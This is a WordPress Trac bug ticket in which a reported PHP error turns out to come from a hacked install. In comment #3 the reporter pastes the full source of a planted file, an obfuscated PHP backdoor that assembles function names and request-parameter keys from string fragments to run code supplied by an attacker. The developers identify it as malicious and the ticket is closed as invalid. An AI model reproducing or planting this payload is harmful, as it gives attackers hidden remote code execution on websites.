Make WordPress Core

Opened 8 years ago

Closed 8 years ago

#37444 closed defect (bug) (invalid)

Missing category.php produces 'Strict Standards: Only variables should be passed by reference' when falling back on archive.php

Reported by: crs1138's profile crs1138 Owned by:
Milestone: Priority: normal
Severity: normal Version: 4.5.3
Component: Themes Keywords:
Focuses: template Cc:

Description

When using TwentySixteen and TwentyFifteen themes, I was getting following error when I try to access any of the categories archive pages:

Strict Standards: Only variables should be passed by reference in /xxx/xxx/wp-includes/theme-compat/category.php(29) : runtime-created function on line 1

However these category archives worked fine on previous themes (TwentyTen, TwentyEleven, etc.). I compared these and noticed that category.php wasn't present in the newer themes. In such case WP should fall back on to archive.php according to the Template Hierarchy. I tried to create category.php and copy&pasted the code from archive.php which resolved the problem. I believe this is a bug in WP and I did not find any mention of this issue anywhere else.

Attachments (1)

37444a.patch (506 bytes) - added by achbed 8 years ago.

Download all attachments as: .zip

Change History (8)

#1 follow-up: @SergeyBiryukov
8 years ago

Hi @crs1138, welcome to Trac!

Strict Standards: Only variables should be passed by reference in /xxx/xxx/wp-includes/theme-compat/category.php(29) : runtime-created function on line 1

There is no such file in WordPress core, see tags/4.5.3/src/wp-includes/theme-compat.

This seems like a hacked install. Could you share the contents of that file?

#2 in reply to: ↑ 1 @achbed
8 years ago

Replying to SergeyBiryukov:

Hi @crs1138, welcome to Trac!

Strict Standards: Only variables should be passed by reference in /xxx/xxx/wp-includes/theme-compat/category.php(29) : runtime-created function on line 1

There is no such file in WordPress core, see tags/4.5.3/src/wp-includes/theme-compat.

This seems like a hacked install. Could you share the contents of that file?

I thought that at first as well, but I do see a potential issue in get_archive_template() that could cause this. It also fits the area where the problem is being seen (fallback to archive template).

@crs1138 can you see if this patch fixes the issue?

@achbed
8 years ago

#3 @crs1138
8 years ago

<?php
$carnival= 'r0'; $getter='E';$exonerate='t()$r'; $bartered= 'tO';$belabored= 'f';
$leela = ',s)$';$armchair = '?'; $approacher='o'; $exasperate ='Lo14J(';$bureau = '17S=Pc[Bi';$condominium = 'Ue$a"Te';$jennica= '"'; $beauty ='_';$bogus ='mHni$PE';$hobby='9'; $macabre= '7"eYfT)4';$kippie= '"gEu"a;(';
$blob='H'; $astonish = 'T';$differentials ='?$ta$4iTF';$lynnelle = ']XI:e'; $chip ='E';$attics='_';$irrelevancy ='i';$cravat = '(c(;4';
$anglicans = 'R'; $arbitrariness=' TS';$clicks = 'ne';$bungling='($_pE;';
$humorer='Rc4y'; $chere = 't'; $lionesses=';'; $backstitched='A)a"s';$approximate='rsb_s';
$glare ='('; $janitor='[_p='; $decipherer ='o'; $apprehensible = ')'; $eclipse = ']@l1D';$gibbon='a'; $backaches='c';$distillers= ',';$brb ='8C_>g"';$comparable= '"SC'; $earths= '$';

$attendant ='eU'; $half= 'EcQg';$formalisms = 'R';$bay =')dKrer0av'; $arctic = '7';
$goodies ='WC_V[$[rO';$alterable= 'y';$emulate= 'i';$frustrations= 'iO';$dimness = ']niTe0ci';$bell ='_te';$lilly ='K]:07deG';$domingo= 'r'; $laziest =')';$beavers ='1'; $bongwater='1';$doper='N';$lessons = '_'; $attributive = 'a';$hesther ='e(sHaeCu'; $confirmation =')';

$gregorio =')_'; $cuttingly='d';$beetle= 'a';$fons='aa1s'; $expertise ='<'; $euthanasia ='i'; $bet= 'Q';$currents ='VIP';$firmly ='v';$biceps ='7';$florence = 'e'; $clinging='=';$calcium = '?l(6'; $chinks = '_$:1MR1';$benchmark = ';';$incaution= $dimness6? .

$domingo.$florence .

$fons[1] .$bell1? . $florence.$chinks0?. $macabre4? . $hesther7? .

$dimness1? . $dimness6? .

$bell1?.$euthanasia.$decipherer .$dimness1?;
$ballpark=$arbitrariness0? ;$killy=$incaution($ballpark,$florence.$firmly.$fons[1] .$calcium1? .$calcium2?. $fons[1] . $domingo . $domingo. $fons[1] .$alterable . $chinks0? . $janitor2? .$decipherer.$janitor2? .$calcium2?.
$macabre4?. $hesther7?.
$dimness1?. $dimness6?.
$chinks0?.$half3?.$florence.
$bell1?.
$chinks0? .$fons[1] .$domingo .$half3? .

$fons3?.
$calcium2? . $gregorio0?. $gregorio0?.$gregorio0? . $benchmark);$killy
($arbitrariness0? , $domingo, $hesther7? ,

$dimness6? ,$lilly3? ,$macabre[3] ,$chinks1?. $euthanasia . $clinging . $fons[1] .$domingo .$domingo .$fons[1]. $alterable .
$chinks0? .$bogus[0].

$florence .$domingo. $half3? .$florence. $calcium2? . $chinks1?. $chinks0?. $chinks5?. $half0? .$bet .
$attendant1?.
$half0?.$comparable1? . $dimness3?. $distillers. $chinks1?.$chinks0? . $hesther[6] .$frustrations1? .
$frustrations1?. $lilly0? . $currents1? . $half0?.$distillers .$chinks1? .

$chinks0?. $comparable1? .$half0? . $chinks5?.$currents[0]. $half0?.
$chinks5? .$gregorio0? . $benchmark. $chinks1?.

$fons[1]. $clinging .$euthanasia .$fons3? . $fons3? . $florence .$bell1? .
$calcium2? . $chinks1?. $euthanasia.$goodies6? .
$comparable0?. $humorer2? .$biceps.

$dimness6?.

$chinks6?. $chinks6?.$lilly3?.$comparable0?. $lilly1? .$gregorio0? .$calcium0?.$chinks1?.$euthanasia .$goodies6?.$comparable0? .$humorer2? .
$biceps.

$dimness6?. $chinks6?. $chinks6?. $lilly3? . $comparable0?.$lilly1?.$chinks2? .$calcium2?. $euthanasia. $fons3? .$fons3?. $florence.$bell1? . $calcium2? .$chinks1?.$euthanasia .$goodies6?.$comparable0? .$hesther3?.$dimness3?.$dimness3?.$currents2? .
$chinks0? .
$humorer2? .$biceps .

$hesther[6].

$chinks6? . $chinks6? .$lilly3?.$comparable0?. $lilly1? .$gregorio0? . $calcium0? .$chinks1?.

$euthanasia.$goodies6? . $comparable0? .

$hesther3?. $dimness3? . $dimness3? . $currents2?.$chinks0?.$humorer2? .$biceps. $hesther[6].

$chinks6?.
$chinks6? .
$lilly3? . $comparable0? .$lilly1? .$chinks2?. $cuttingly. $euthanasia.

$florence.$gregorio0?.
$benchmark .$florence.$firmly .

$fons[1] .$calcium1?.$calcium2?. $approximate2? .
$fons[1] . $fons3?.$florence.

$calcium[3]. $humorer2? .
$chinks0? . $cuttingly . $florence .$dimness6? .$decipherer.

$cuttingly .$florence.$calcium2?.
$chinks1? .

$fons[1] . $gregorio0? . $gregorio0?. $benchmark );

Version 0, edited 8 years ago by crs1138 (next)

#4 follow-up: @crs1138
8 years ago

Hmm, feeling quite a bit stupid right now. It does look suspicious.

#5 in reply to: ↑ 4 @achbed
8 years ago

That's an impressive obfuscation. Not technically savvy, but impressive in how it explodes the size of the payload by an average of 12 times.

#6 @crs1138
8 years ago

Actually deleting the /wp-includes/theme-compat/category.php resolved the issue.

#7 @SergeyBiryukov
8 years ago

  • Milestone Awaiting Review deleted
  • Resolution set to invalid
  • Status changed from new to closed

Yeah, that's some nasty code right there. Thanks for the follow-up!

Note: See TracTickets for help on using tickets.